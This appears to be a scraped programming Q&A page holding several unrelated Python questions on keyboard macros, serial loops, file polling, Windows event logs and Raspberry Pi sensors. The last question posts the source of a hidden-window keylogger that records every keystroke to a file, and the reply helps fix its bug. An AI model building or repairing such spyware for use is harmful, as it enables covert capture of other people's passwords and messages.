I try to make a macro in python, that when pressed execute this folliwing script to add time before a text :
import keyboard # using module keyboard
from datetime import *
from time import sleep
while True:
sleep(0.2)
try:
if keyboard.is_pressed('F12'):
now = datetime.now()
keyboard.press_and_release('Home')
keyboard.write(f"{now.hour}h{now.minute}m{now.second}s :")
keyboard.press_and_release('Enter')
except :
pass
Its work well until I send a message that make multiple lines ! How to solve the issue ?
1 line message :
hello -> press F12 -> send 15h45h07s : hello
multiple lines :
line 1
line 2
line 3
-> press F12
send :
line 1
line 2
15h46m30s : line 3```
You can go to the top of the page using Ctrl+Home, so here is the improved code:
import keyboard # using module keyboard
from datetime import *
from time import sleep
while True:
sleep(0.2)
try:
if keyboard.is_pressed('F12'):
now = datetime.now()
keyboard.press_and_release('Ctrl+Home')
keyboard.write(f"{now.hour}h{now.minute}m{now.second}s :")
keyboard.press_and_release('End')
keyboard.press_and_release('Down')
except :
pass
However, this will ONLY insert the time at the top of the file, and not for any subsequent lines. If you want to use this to do multiple lines, maybe think of a more complicated approach, where you perhaps store a list of lines which have the time before them, and another key to clear this list. Here is my example:
import keyboard # using module keyboard
from datetime import *
from time import sleep
lines = []
while True:
sleep(0.2)
try:
if keyboard.is_pressed('F12'):
now = datetime.now()
if len(lines) == 0:
keyboard.press_and_release('Ctrl+Home')
else:
keyboard.press_and_release('Home')
keyboard.write(f"{now.hour}h{now.minute}m{now.second}s :")
keyboard.press_and_release('End')
keyboard.press_and_release('Down')
lines.append("placeholder")
except :
pass
try:
if keyboard.is_pressed('F11'):
lines = []
except :
pass
P.S. I edited your code so that rather than adding an enter at the end, it goes down a line. This is better for doing multiple lines, as it removes unwanted whitespace.
Example:
Related
I have written a Python script that reads the serial monitor in order to get sensor readings from an Arduino. I've been trying to solve the following problem: I want my script to run exactly for one minute in order to get the data and process it offline. For instance, if I execute the following script, it should be running for a minute and then stop. I have tried using the time module or the sleep function but my script keeps getting data and does not stop. I'm not sure how to break the while loop. Until now I managed to stop the execution by pressing CTRL+C, but it's necessary for the script to stop on its own. Here's my code(I'm also posting the get_readings function):
python
# -*- coding: utf-8 -*-
import chair_functions as cf
import os
if __name__ == '__main__':
file_extension = '.txt'
rec_file = 'chair_'+cf.get_date()+file_extension
raw_data = cf.create_directories()
rec_file = os.path.join(raw_data,rec_file)
cf.get_readings(rec_file)
# -*- coding: utf-8 -*-
from serial import Serial
import pandas as pd
import collections
import logging
import serial
import time
import sys
import csv
import os
def get_readings(output_file):
"""Read the data stream coming from the serial monitor
in order to get the sensor readings
Parameters
----------
output_file : str
The file name, where the data stream will be stored
"""
serial_port = "/dev/ttyACM0"
baud_rate = 9600
ser = serial.Serial(serial_port,baud_rate)
logging.basicConfig(filename=output_file,level=logging.DEBUG,format="%(asctime)s %(message)s")
flag = False
while True:
try:
serial_data = str(ser.readline().decode().strip('\r\n'))
time.sleep(0.2)
tmp = serial_data.split(' ')[0] #Getting Sensor Id
if(tmp == 'A0'):
flag = True
if (flag and tmp != 'A4'):
#print(serial_data)
logging.info(serial_data)
if(flag and tmp == 'A4'):
flag = False
#print(serial_data)
logging.info(serial_data)
except (UnicodeDecodeError, KeyboardInterrupt) as err:
print(err)
print(err.args)
sys.exit(0)
It is the time module itself that does not work. Therefore, instead of using True for the while condition, set start = timer.time(), then while time.time() - start < 60: as below:
start = time.time()
while time.time() - start < 60:
...
Here is the code:
import os
import asyncio
async def func_placing_sell_orders():
prev_final_stocks_list_state = os.path.getmtime('stock_data//final_stocks_list.json')
print('i run once')
while True:
if (prev_final_stocks_list_state != os.path.getmtime('stock_data//final_stocks_list.json')):
prev_final_stocks_list_state = os.path.getmtime('stock_data//final_stocks_list.json')
print('here')
asyncio.get_event_loop().run_until_complete(func_placing_sell_orders())
simplified ver:
import os
def simple():
state = os.path.getmtime('file.json')
print('i run once')
while True:
if (state != os.path.getmtime('file.json')):
state = os.path.getmtime('file.json')
print('here')
simple()
This is the print out:
i run once
here
here
here, gets print out twice every time I save the file. I ran to check the time between previous and current modified time and it is always different, which implies it should only run once per save.
This is so basic I don't understand why I'm getting this result. Please send help
If the file is large enough maybe the first "here" is while file is still writing edits and the last "here" is after the saving is done. Also, if you're using something like open("file", "w") or something like this to write edits, the file will be first clean (first "here") and then edited with with new data (second "here")
You can ignore too fast reports (<1s) with a simple timer
lastEdit = time.time()
while True:
if (state != os.path.getmtime('file.json')):
state = os.path.getmtime('file.json')
if time.time()-lastEdit > 1:
print('here')
lastEdit = time.time()
Edit;
My original post was too vague regarding what my problem was, so after working on my assignment for some time I've adjusted/fixed most of my code. However, I'm still having trouble getting it to work. Now when I run the script from the cmd prompt I get this message...
Traceback (most recent call last):
File "/PythonScriptsR2/autoadmin_a1_errors.py", line 45, in <module>
log_handle_three = win32evtlog.OpenEventLog(computer,log_type_three)
pywintypes.error: (1722, 'OpenEventLogW', 'The RPC server is
unavailable.')
Here is what my current code looks like
(I wrote some comments on and around line 45 so it's easier to find);
import win32evtlog
import win32evtlogutil
import win32security
import win32con
import time
import winerror
import re
import string
import sys
import traceback
####################################################################
# All error entries for the last 3 months
########
#set date format
def date2sec(self,evt_date):
'''
convert '12/23/99 15:54:09' to seconds
print '333333',evt_date
'''
regexp=re.compile('(.*)\\s(.*)')
reg_result=regexp.search(evt_date)
date = reg.result.group(1)
time = reg_result.group(2)
(mon,day,yr) = map(lambda x: sring.atoi(x),string.split(date,'/'))
(hr,min,sec) = map(lambda x: sring.atoi(x),string.split(time,':'))
tup = [yr,mon,day,hr,min,sec,0,0,0]
sec = time.mktime(tup)
return sec
################
#Initialize variables
flags_three=win32evtlog.EVENTLOG_BACKWARDS_READ|\
win32evtlog.EVENTLOG_SEQUENTIAL_READ
#Dictionary to convert event type into human readable form
evt_dict={win32con.EVENTLOG_AUDIT_FAILURE:'EVENTLOG_AUDIT_FAILURE',\
win32con.EVENTLOG_AUDIT_SUCCESS:'EVENTLOG_AUDIT_SUCCESS',\
win32con.EVENTLOG_INFORMATION_TYPE:'EVENTLOG_INFORMATION_TYPE',\
win32con.EVENTLOG_WARNING_TYPE:'EVENTLOG_WARNING_TYPE',\
win32con.EVENTLOG_ERROR_TYPE:'EVENTLOG_ERROR_TYPE'}
computer='bedrock'
log_type_three='System'
begin_sec=time.time()
begin_time=time.strftime('%H:%M:%S ',time.localtime(begin_sec))
############ \/ Line 45 \/ #############
log_handle_three=win32evtlog.OpenEventLog(computer,log_type_three) #line45
############ /\ Line 45 /\ #############
################
#Open the Event Log
print(log_type_three,' error events found from the last three months
since:',begin_time)
try:
ev_ents=1
while ev_ents:
ev_ents=win32evtlog.ReadEventLog(log_handle_three,flags_three, 0)
for ev_obj in ev_ents:
#################
#check if the event is recent enough
#checking data from the last three months
date = ev_ent.TimeGenerated.Format()
time = ev_ent.TimeGenerated.Format()
seconds = date2sec(date)
if seconds < begin_sec-7862400: break
#################
#if the data is recent enough/from the correct time frame,
#print it
source=str(ev_obj.SourceName)
message=str(win32evtlogutil.SafeFormatMessage(ev_obj,\
logtype))
record = str(ev_obj.RecordNumber)
print(string.join((record,source,date,\
time,message[0:15]),':'))
if seconds < begin_sec-7862400: break #You need to get out of
#the while loop as well
win32evtlog.CloseEventLog(log_handle_three)
except:
print(traceback.print_exc(sys.exc_info()))
So right now my questions are, what does this error message mean, why am I getting this error message, and what are some things I could do to try and fix it.
I think he may want us to use windows powershell to call the script, however, when I did this I got the same error message as I did at the cmd prompt so I'm not sure if it makes a difference.
For some reason, I think it's probably trying to access "bedrock" using the network stack instead of just grabbing it from the local machine. I would make sure that "bedrock" is the actual computer name that you get when you execute "hostname" from the CLI.
I ran into a similar issue using a computer name of "localhost" where it didn't work in certain environments with the same error. Changing that value to the actual local computer name resolved the problem for me.
I'm currently setting up a some sensors with my raspberry pi in python. Total python newbie here.
Each sensor has it's own script to read the sensor and there is another script that drives an LCD display and displays the imported variable from the sensor script.
I've gotten so far with working scripts that run the sensors and generate output, however, I cannot seem to import the variables (temperature & pH) into the LCD display script. Also, once I have imported the variables, how do I instruct the LCD script to "refresh" the and fetch the updated variable?
Here's a trimmed down version of what I have so far, I've omitted the sensor and data logging parts of each script. For simplicity, script_display is the LCD driver, and pH_script is for pH and temp_script is for temperature.
Here's a simplified version of the scripts:
script_display.py
import sys
sys.path.insert(0, '/home/pi/Raspberry-Pi-sample-code')
import pH_script
import temp_script
from ph_script import ph_main
from temp_script import get_temp
import time
while True:
print PH.ph_main(ph_output)
print get_temp(temp)
time.sleep(1)
temp_script.py
from w1thermsensor import W1ThermSensor
import time
#Get Temperature
def get_temp():
global temp
sensor = W1ThermSensor(W1ThermSensor.THERM_SENSOR_DS18B20, "031683a0a4ff")
activate_temp = sensor.get_temperature()
temp = str(activate_temp)
return temp
#Read Temp Frequency
def read():
threading.Timer(0.5, read).start()
get_temp()
time.sleep(1)
try:
while True:
read()
get_temp()
print get_temp()
except KeyboardInterrupt:
print("Program Ended By User")
pH_script.py
def ph_main():
lots and lots of code to activate the PH probe, and other variables, but the variable ph_output returns as a string, ph_output
try:
while True:
global ph_output
dev.send_cmd("R")
lines = dev.read_lines()
for i in range(len(lines)):
print lines[i]
if lines[i][0] != '*':
print lines[i]
ph_output = str(lines[i])
return ph_output
time.sleep(delaytime)
try:
while True:
ph_main()
except KeyboardInterrupt:
print("Continuous polling stopped")
so, again, first question, how to pass the global variables back to the display script? and two, how to instruct the display script to 'refresh' the variables?
the error I am currently getting is:
Traceback (most recent call last):
File "script_display.py", line 8, in <module>
print PH.ph_main(ph_output)
NameError: name 'ph_output' is not defined
looking forward to any input and thanks for your time + help!
So I am trying to make a Keylogger (educational purposes only) and here my code
#!/usr/bin/env python
import pyHook
import pythoncom
import win32gui
import win32console
import time
import smtplib, os
log_file = "d:\control.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file,"a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if char == "q": # (if char is q)
f.close() # (close and save log file)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
f.write(char) # (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages()
after running the code I get a couple errors like this
Traceback (most recent call last):
File "C:\Python278\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch
return func(event)
File "C:\Python278\logger.pyw", line 22, in pressed_chars
f.write(char) # (write char)
ValueError: I/O operation on closed file
I made it so that whenever I pressed the Character 'Q' the program would end recording the keystrokes. But if I enter the following code: "exit()" between lines 19-20, the program works fine but exits before it can do anything else. I have been trying to solve it on my own, but I can't seem to get it to work the way I want it to. Any Ideas? Using Python 2.7.8 by the way.
If the char is "q", you close the file. 'if char == "q": # (if char is q)'
Try to make a if .. elif .. else.
Btw, I prefere with open() (see more at: for line in open(filename))